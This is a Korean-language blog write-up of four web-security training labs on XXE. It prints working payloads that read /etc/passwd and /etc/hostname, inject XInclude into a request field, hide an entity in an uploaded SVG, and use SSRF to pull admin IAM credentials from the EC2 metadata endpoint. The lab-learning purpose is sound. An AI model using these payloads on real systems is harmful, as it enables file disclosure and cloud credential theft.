Lab: Exploiting XXE using external entities to retrieve files

XML에서 외부 entity를 활용하여 파일을 읽어오는 공격을 수행할 것이다.

간단한 온라인 쇼핑몰 홈페이지가 보인다. details에 들어가보면 재고를 check 할 수 있는 기능이 있다.

재고를 체크하기 위해 서버가 보내는 POST 요청을 읽어봤다. 그랬더니 아래와 같이 XML로 정보를 주고 받고 있음을 확인할 수 있었다.
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
위의 코드에 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
을 추가해준다! 그리고 밑에 &xxe를 추가해주면, 이 XML을 받은 서버는 DTD에 작성된 url을 로딩하여 xxe에 보여주게 된다. 따라서 이번 경우에는 /etc/passwd를 읽어와서 해당 정보를 담아서 Response에 보여주게 되는 것이다.

파일의 내용을 담아서 Response에 보내준 것을 확인할 수 있었다.

성공!
Lab: Exploiting XXE to perform SSRF attacks

이번 랩에서는 EC2 metadata endpoint를 실행중이라고 한다. 이 endpoint에서 민감한 정보를 얻어올 수 있다고 한다.
EC2 메타데이터에 대해서는 위의 홈페이지를 참고했다.
가장 먼저 아래와 같은 DTD를 선언해서 보내줬다.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>

그랬더니 Invalid product ID라고 하며 latest를 보내줬다. 아무래도 메타데이터의 파일을 알려주는 것 같다.
그래서 이번엔 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest"> ]>으로 선언하고 보내줬다.

그랬더니 meta-data를 알려주고 있다! 이러한 방식으로 계속 파일 경로를 따라가 보았더니, 결국 다음과 같이 선언하게 되었다.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>

admin 정보를 얻어올 수 있었다!

성공~
Lab: Exploiting XInclude to retrieve files

이번 문제의 경우 XML document를 직접 수정할 수 없다. 따라서 XInclude를 통해서 내가 원하는 값을 XML에 추가해야 한다.

실제로 POST 요청을 까보면 XML을 직접 보내는 것이 아니고 productId와 storeId만 보내는 것을 알 수 있다.
이럴 때 내가 원하는 XML 데이터를 추가하기 위해서는 XInclude를 써야 한다.
위의 블로그를 참고해서 href에 file:///etc/passwd를 추가해주면 자동으로 해당 파일을 읽어오도록 만들 수 있다!

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
위와 같이 보내줬더니 파일을 성공적으로 읽어온 것을 확인했다.

성공~
Lab: Exploiting XXE via image file upload

이미지 파일 중 svg 타입의 이미지는 XML 형식으로 처리된다고 한다. 이 점을 이용해서 파일을 업로드 하여 XXE를 성공시켜 보자.
위의 블로그는 SVG에 대해 잘 설명해 놓았다. SVG는 W3C가 개발한 개방형 표준으로, 2차원 벡터 그래픽의 표현을 위한 XML 마크업 언어라고 한다.

이번 문제에서는 블로그에 댓글을 다는 기능을 활용할 것이다. 그 중에서도 댓글의 avatar를 업로드할 수 있는 기능을 공략해야 한다.

시험 삼아 test.svg를 하나 업로드해보았다. POST 요청을 확인해보니 XML 형태의 SVG 파일이 업로드 된 것을 확인할 수 있었다.

저기서 SVG 파일의 데이터를 지우고 다음으로 수정해주었다.
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
DTD를 이용해서 file에서 /etc/hostname을 읽어오도록 만든 것이다. DTD에서 정의한 xxe를 text에서 font-size 16으로 맞춰서 이미지 파일에 보여주도록 만들었다.

실제로 블로그의 댓글을 보니 test.svg와 /etc/hostname이 있었다.

확대해서 hostname을 알아냈다!

성공~